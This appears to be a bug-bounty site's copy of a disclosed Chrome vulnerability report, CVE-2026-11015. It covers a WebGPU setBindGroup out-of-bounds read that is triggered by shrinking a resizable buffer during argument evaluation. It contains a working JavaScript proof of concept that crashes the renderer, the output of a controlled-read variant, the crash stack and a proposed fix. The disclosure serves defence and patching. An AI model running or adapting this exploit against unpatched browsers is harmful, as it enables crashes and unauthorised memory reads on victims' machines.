Skip to content
Memory corruption Advisory Advanced CVE-2026-11015

Out of bounds read in WebGPU (CVE-2026-11015)

A typed array backed by a resizable buffer could be shrunk by a callback during argument evaluation in WebGPU's setBindGroup, leaving Blink holding a span into memory that had been decommitted. An attacker could crash the renderer, bypass bounds checks, and control which uniform buffer region a shader read.

Yuma Takeuchi Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 2 months
`GPUProgrammablePassEncoder.setBindGroup()` accepts a `Uint32Array` for the `dynamicOffsetsData` parameter. If that typed array is backed by a ResizableArrayBuffer (RAB) and a subsequent numeric argument's `valueOf()` callback shrinks the backing buffer, Blink captures a span pointing into memory that V8 has decommitted. Dawn's wire client immediately `memcpy`s from that span synchronously inside the `setBindGroup` call, before any GPU submission, resulting in a read of decommitted memory (STATUS_ACCESS_VIOLATION).

**Root cause:** `ByteSpanWithInlineStorage::as_span()` in `third_party/blink/renderer/bindings/core/v8/pass_as_span.h` contains a guard for ArrayBuffer detachment (`WasDetached()`) but **no equivalent guard for ResizableArrayBuffer shrink**. Because WebIDL evaluates arguments left-to-right, `start.valueOf()` fires after the span is captured (arg 2), creating a TOCTOU window.

```
arg2: dynamicOffsetsData  → span captured  {rab_backing_ptr, N}
arg3: start.valueOf()     → rab.resize(0)  → pages decommitted
arg4: length.valueOf()    → (stale span already captured)
                          ↓
Dawn wire client: memcpy(dst, rab_backing_ptr, 4)  → STATUS_ACCESS_VIOLATION
```

**Patch gap evidence:** The same TOCTOU was already found and fixed in adjacent APIs on the same Chrome build:

| API | Result on Chrome 146.0.7680.165 |
|---|---|
| `GPUQueue.writeBuffer()` | �
 TypeError (fixed) |
| `VideoFrame.copyTo()` | �
 TypeError (fixed) |
| `GPUProgrammablePassEncoder.setBindGroup()` | ❌ **crash / bypass** |

`setBindGroup` uses the `[PassAsSpan]` IDL annotation, which operates at the binding-generator layer rather than in the C++ implementation. The C++ implementation checks that protect `writeBuffer` and `copyTo` do not cover `PassAsSpan`, so `setBindGroup` escaped the systematic fix.

**Confirmed primitives:**

1. **Renderer crash** — `resize(0)` decommits all backing pages; Dawn's synchronous `memcpy` raises STATUS_ACCESS_VIOLATION. Reproduces on both compute and render pass paths.
2. **Bounds-check bypass (no crash)** — `resize(4)` leaves the first 4 bytes committed; `setBindGroup` succeeds with `view.length = 0` in JS; the stale span passes `ValidateSetBindGroupDynamicOffsets`.
3. **Exact stale value forwarded** — the specific integer written to `offsets[0]` before resize appears verbatim in the GPU error message (value `512` confirmed).
4. **Compute shader controlled by stale offset** — two different pre-seeded uniform buffer regions (`[0x41414141, …]` at offset 0, `[0xDEADBEEF, …]` at offset 256) are returned to JavaScript via `storageBuffer.mapAsync()` based solely on the pre-resize value of `offsets[0]`.
5. **Render pass fragment shader output controlled** — attacker-chosen color rendered to canvas via stale offset.

---

## VERSION

Chrome `146.0.7680.165` (Official Build) (64-bit), Windows 11 64-bit

No command-line flags, no extensions, no DevTools required.

---

## REPRODUCTION CASE

**Setup:**

```bash
python3 -m http.server 8080
```

Place the two attached HTML files in the same directory and open them in Chrome stable.

**Minimal inline crash PoC** (no files required — paste into DevTools console on any `https://` page with WebGPU enabled):

```html
<!doctype html><script>
(async () => {
  const adapter = await navigator.gpu.requestAdapter();
  const device  = await adapter.requestDevice();
  const encoder = device.createCommandEncoder();
  const pass    = encoder.beginComputePass();

  const layout = device.createBindGroupLayout({ entries: [] });
  const bg     = device.createBindGroup({ layout, entries: [] });

  const rab  = new ArrayBuffer(4, { maxByteLength: 4 });
  const view = new Uint32Array(rab);
  view[0]    = 0xDEADBEEF;

  const start = { valueOf() { rab.resize(0); return 0; } };

  // STATUS_ACCESS_VIOLATION: Dawn memcpy hits decommitted page
  pass.setBindGroup(0, bg, view, start, 1);
})();
</script>
```

Expected: tab crashes (renderer process) with STATUS_ACCESS_VIOLATION.

**Attached PoC 1 — Crash:** `webgpu-setbindgroup-rab-poc.html`

Runs three tests automatically:

| Test | Action | Expected (fixed) | Actual (Chrome 146) |
|---|---|---|---|
| Baseline | normal call | no crash | no crash ✓ |
| Detach in `valueOf()` | `structuredClone` detach | RangeError | RangeError ✓ |
| **Shrink in `valueOf()`** | `resize(0)` | RangeError | **tab crash** |

**Attached PoC 2 — Controlled-read proof:** `webgpu-setbindgroup-rab-arb-read-poc.html`

`resize(4)` (non-crash variant). Compute shader reads the attacker-selected uniform buffer region and returns 16 bytes to JavaScript.

Confirmed output on Chrome `146.0.7680.165`:

```
Test 2 (stale read, offsets[0]=0):
  view.length after resize: 0  (out-of-bounds in JS)
✓ setBindGroup did not throw despite view.length=0
✓ Storage buffer contains: [0x41414141, 0x42424242, 0x43434343, 0x44444444]
✓ VALUES MATCH offset-0 sentinels

Test 3 (stale read, offsets[0]=256):
  view.length after resize: 0  (out-of-bounds in JS)
✓ setBindGroup did not throw despite view.length=0
✓ Storage buffer contains: [0xDEADBEEF, 0xCAFEBABE, 0x13371337, 0xFEEDFACE]
✓ VALUES MATCH offset-256 sentinels
```

Tests 2 and 3 return **different** values corresponding exactly to different pre-seeded uniform buffer regions. The only difference between the two tests is `offsets[0]` before resize — a value JavaScript considers inaccessible at call time.

---

## TYPE OF CRASH

`STATUS_ACCESS_VIOLATION` — read of decommitted virtual memory.

Crash occurs synchronously inside `GPUComputePassEncoder::setBindGroup` /
`GPURenderPassEncoder::setBindGroup`, before `pass.end()` or
`encoder.finish()`, confirming the fault is in Blink/Dawn client-side handling
(not GPU driver execution).

---

## CRASH STATE

Approximate call stack at time of access violation:

```
wgpu::ComputePassEncoder::SetBindGroup(unsigned int, wgpu::BindGroup, ...)
    [Dawn wire client — synchronous memcpy of uint32_t offsets array]
blink::GPUComputePassEncoder::setBindGroup(unsigned int, blink::GPUBindGroup*, ...)
    [gpu_compute_pass_encoder.cc — passes stale data_span.data() to Dawn]
blink::GPUProgrammablePassEncoder_setBindGroup (generated IDL binding)
    [NativeValueTraits<PassAsSpan<…>>::ArgumentValue captures span at arg2]
    [start.valueOf() fires at arg3 → rab.resize(0) → pages decommitted]
    [C++ implementation called with stale span pointing to decommitted memory]
v8::internal::Builtin_HandleApiCallOrConstruct
```

Both compute pass (`GPUComputePassEncoder`) and render pass (`GPURenderPassEncoder`) crash identically via the shared `ValidateSetBindGroupDynamicOffsets` / `GetHandle().SetBindGroup` path.

---

## SUGGESTED FIX

Add an RAB-aware revalidation in `ByteSpanWithInlineStorage::as_span()`
(`third_party/blink/renderer/bindings/core/v8/pass_as_span.h`), mirroring the
existing detach guard:

```cpp
const base::span<const uint8_t> as_span() const {
    if constexpr (kPerformDetachCheck) {
        if (!orig_buffer_for_detach_check_.IsEmpty()) {
            auto buf = orig_buffer_for_detach_check_;
            if (buf->WasDetached()) return {};
            // NEW: resizable-buffer shrink guard
            if (buf->IsResizableByUserJavaScript()) {
                const uint8_t* buf_base =
                    static_cast<const uint8_t*>(buf->Data());
                size_t buf_len = buf->ByteLength();
                if (span_.data() < buf_base ||
                    span_.data() + span_.size() > buf_base + buf_len) {
                    return {};
                }
            }
        }
    }
    return span_;
}
```

With this fix, `rab.resize(0)` causes `as_span()` to return `{}`, `ValidateSetBindGroupDynamicOffsets` receives size 0, and throws `RangeError` — matching the behaviour of `writeBuffer` and `copyTo` on the same build.

---

## CREDIT INFORMATION

Reporter: Yuma Takeuchi

The original report as published on the Chromium issue tracker, by Yuma Takeuchi. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the span-capturing helper checks whether the buffer was detached but not whether a resizable buffer was shrunk, so a left-to-right argument evaluation window leaves a stale span that is copied from synchronously.

Impact

An attacker could crash the renderer, and with a smaller shrink could bypass bounds checks and steer a compute or fragment shader to read attacker-chosen uniform buffer regions; no flags, extensions or DevTools were needed.

What the attacker needed

WebGPU enabled in the browser; victim loads attacker page or script

The fix

The report suggests adding a resizable-buffer shrink revalidation in the span helper, mirroring the existing detach guard, so a stale span returns empty and a RangeError is thrown.

How it was found

  1. Create a resizable ArrayBuffer and a Uint32Array view over it, and write a value into the view.
  2. Create a GPU device, command encoder and compute pass, plus an empty bind group layout and bind group.
  3. Pass an object as the start argument whose valueOf shrinks the buffer to zero.
  4. Call setBindGroup on the pass with the view and that object.
  5. Observe the renderer crash with STATUS_ACCESS_VIOLATION.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A resizable buffer is a block of memory whose size JavaScript can change at runtime. When you call a function, the browser reads the arguments one by one, and one argument here was a small object whose code shrinks that buffer. The browser had already noted where the buffer's data lived, so it later read from memory that no longer existed, which crashed the tab or let the page read data it should not reach.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.